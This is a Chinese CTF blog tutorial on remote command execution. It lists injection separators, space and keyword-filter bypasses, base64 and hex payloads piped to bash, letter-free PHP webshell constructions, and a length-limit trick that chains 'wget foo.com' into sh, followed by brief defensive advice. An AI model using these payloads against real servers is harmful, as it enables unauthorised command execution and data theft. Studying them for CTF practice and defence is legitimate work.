RCE初探

7erry

简介

RCERemote Command Exec或者Remote Code Exec的缩写
RCE通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

对于CTFer,RCE的用途包括但不限于

  1. 直接获取flag
  2. 进行反弹shell从而获得进入内网的大门

RCE原理剖析

在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做充分过滤时,攻击者可以通过注入一些特殊的字符,改变原本的执行意图,从而执行攻击者指定的命令,例如这样一个简单的Python语句

import os
args = input()
os.system(f"echo {args}")

该代码的正常功能是调用操作系统的echo函数对用户的输入进行回显,但是我们可以通过添加 &&,||这些条件执行运算符额外进行新的命令

常见RCE危险函数

PHP

  • eval()
  • assert()
  • preg_replace()\create_function()
  • array_map()
  • call_user_func()
  • call_user_func_array()
  • array_filter()
  • uasort()
  • system()、
  • exec()、
  • shell_exec()、
  • pcntl_exec()、
  • popen()、
  • proc_popen()、
  • passthru()

Python

  • system
  • popen
  • subprocess.call
  • spawn

Java

java.lang.Runtime.getRuntime().exec(command)

RCE Tips

常见RCE命令分隔符

Windows

  • | 直接执行后面的语句
  • && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
  • & 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
  • || 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行
  • %0a
  • %1a 一个神奇的角色,作为.bat文件中的命令分隔符

Linux

  • | 显示后面语句的执行结果
  • & 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假
  • && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
  • || 当前面的语句执行出错时,执行后面的语句
  • ; 执行完前面的语句再执行后面的语句
  • $()
  • \` `
  • %0a
  • %0d
  • \r\n
  • %d0%a0

需要注意的是,条件执行具有惰性机制。也就是说,当||(or)的前一条语句执行结果为真时,后一条语句不会执行,当&&(and)的前一条语句执行结果为假时,后一条语句也不会执行

在Linux中需要注意,双引号包裹的字符串$()和``中的内容才被当作RCE,单引号包裹的字符串就是纯字符串,不会进行解析

注释

Windows的注释为::,Linux的注释为#。合理利用注释可以注释掉命令后面的内容利于RCE的利用

命令的格式

程序名 参数1 参数值1 参数2 参数值2 ...

例如

1
ping -nc 1 www.baidu.com

其中ping为可执行程序名,-nc为参数,1和www.baidu.com为参数值,程序名和参数值之间以空格分割。与SQL注入一样,可以注入额外的引号就行逃逸,以及在一个命令的各段有插入命令点

无回显Tips

  • 时间盲注对于Shell_exec等无回显函数,我们可以用sleep()eg:ls;sleep(5);与SQL盲注类似用响应时间判断是否成功

  • HTTP通道

  • DNS通道

  • 写入文件二次返回

    //先将根目录复制到某个文件,然后访问查看
    ls /| tee ls.txt
    //然后输入 url/1.txt  即可查看根目录再复制flag文件,然后访问查看
    cat /flag.php | tee flag.txt
    //然后输入 url/falg.txt  即可查看根目录
    //还可以使用其他的复制方法
    copy /flag.php flag.txt
    mv /flag.php flag.txt
    
  • 构建反弹shell

RCE Fuzz与bypass

空格Bypass

  • 命令中间隔的字符可以不只是空格(URL编码为%20),我们可以尝试用BurpSuite对%00~%ff区间的字符串进行测试,可以发现有能用别的字符进行绕过例如%09(tab)(需要PHP环境),%0b,%0c等

  • 使用字符串截取的方式获取空格(Windows)

           %ProgramFiles:~10,1%
      
      其中~是截止符,表示获取环境变量%ProgramFiles%的值,一般为C:\Program Files,该命令表示从第10个开始且获取一个字符串,也就是空格
    
  • 环境变量(bash有效,zsh、dash无效)(Linux)

          $IFS$9 or ${IFS} or ;IFS=,;
        
    IFS环境变量表示内部字段分隔符,定义了bash shell的命令建个字符,一般为空格
    >注意到当只注入$IFS时需要用分隔符将环境变量部分与命令部分区分开,一般使用$9,$9表示为当前系统Shell进程的第9个参数,通常是一个空字符串 
    
  • 重定向符<>或者其一

  • {cat,flag.txt} 在大括号中逗号可起分隔作用

黑名单Bypass

  • 双写绕过后端程序可能会将用户输入的关键字符号替换为空,这时候可以采用双写绕过的方式,例如会将cat字符串替换为空,则我们可以构造cacatt,这样替换为空后我们输入的字符串仍然为cat
  • 编码绕过
    • Base64编码将cat 1.txt编码为base64
      echo “Y2F0IDEudHh0”|base64 -d|bash
      其中base64 -d是base64解码的意思,用于管道符号后
    • 16进制编码将cat 1.txt编码为16进制
      echo “0x636174202E2F312E747874”|xxd -r -p|bash
      其中xxd - r -p是转换十六进制的意思,用于管道符号后
  • 拼接绕过用偶读拼接方法绕过,“${}”截取环境变量拼接,用.拼接绕过
1
2
3
4
5
6
7
8
a=c;b=a;c=t;
$a$b$c /etc/passwd

a=l;b=s;$a$b //偶读拼接

a=fl;b=ag;cat $a$b //.拼接

${PATH:14:1}${PATH:5:1} flag.txt //在此环境中相当于 nl flag.txt
  • 单引号、双引号、反引号绕过

      //单双引号绕过
      ca''t flag 或ca""t flag    //因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变
    
  • 内联执行 (反引号绕过)

      //若ls结果为 flag.txt
      cat `ls`   //实际效果为cat flag.txt
      //若该目录下有index.php和flag.php
      cat `ls` //等同于cat flag.php;cat index.php
    
  • 使用空变量绕过
    参数不存在时其值为空

1
2
3
ca$@t fla$@g
ca$1t fla$2g
ca${5}t flag
  • 转义符号绕过

      ca\t    //等效于cat
    
  • 隐式数据转换绕过

    • $($__); 这个$,会被php按照callable$callback ,处理,字符串会寻找对应的函数执行,数组会调对应的类方法等(需要变量符$)

    • 在php7中,新增了(‘phpinfo’)();执行命令的方式

    • 数字类型可以由数字通过隐式类型转换和自增得到

        ([].[])  //0
        +$_  //0
        $_ = +!-([] . [])  //1
        ++$_                 //2
      

      在进行运算时,比如字符链接. 操作,会把运算对象强转字符串,我们可以通过强转操作得到部分字母,但是要构造webshell还不够,所以通过位运算和自增运算得到。php字符串是按照单字节存储的,并且可以按单字节进行位运算的,我们可以通过位运算,把非字母数字的字符,转成字母数字生成指定异或的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++){
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}

简单的示例

1
2
3
4
5
6
7
8
@$_++; //1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

在处理字符变量的算数运算时,自曾操作会’a’++ => ‘b’,’b’++ => ‘c’,所以我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符
获得第一个字母的方法有

1
2
3
4
//方法一
var_dump(([] . Φ)[0]); //A
var_dump(([] . Φ)[3]); //a
//利用数组强转字符串会变为Array 得到需要的字符

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$_POST[__] = 'system';
$_POST[_] = 'dir';
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$_[__]($_[_]); //$_POST[__]($POST[_])
  • 内敛执行绕过
1
2
3
4
5
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
  • 利用环境变量绕过利用环境变量来截取字母达到绕过过滤
1
2
echo $PATH //结果为 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
echo ${PATH:5:1}${PATH:2:1} //结果为ls
  • 正则表达式绕过
1
2
3
4
/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt    //相当于/bin/cat flag.txt
//因为[]匹配范围只在当前路径所以要为bin绝对路径
//假设当前目录下仅有文件flag
cat ?la* //等效于cat flag
  • 利用RCE函数绕过
  • 尝试其他命令
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容
    • 在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}
  • 通配符绕过shell通配符有:
    • * :表示通配字符0次及以上
    • ? : 表示通配字符0或
      /bin/ca? //相当于cat命令

长度限制Bypass

通过>快速创建文件,同时我们所创建的文件的文件名都是命令的一部分(\表示换行),最后使用ls -t > _按照时间排序,把文件名拼凑为命令写入文件中,然后sh _执行命令。例如:

1
2
3
4
5
>wget\
>foo.\
>com
ls -t>a
sh a

防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
  • shell元字符包括 #&;`,|*?~<>^()[]{}$\

Reference

https://zhuanlan.zhihu.com/p/391439312
https://xz.aliyun.com/t/8354
https://blog.csdn.net/qq_41315957/article/details/118855865
https://www.cnblogs.com/pursue-security/p/15291426.html

  • Title: RCE初探
  • Author: 7erry
  • Created at : 2023-07-02 00:00:00
  • Updated at : 2023-08-11 00:00:00
  • Link: http://7erry.com/2023/07/02/RCE初探/
  • License: This work is licensed under CC BY-NC 4.0.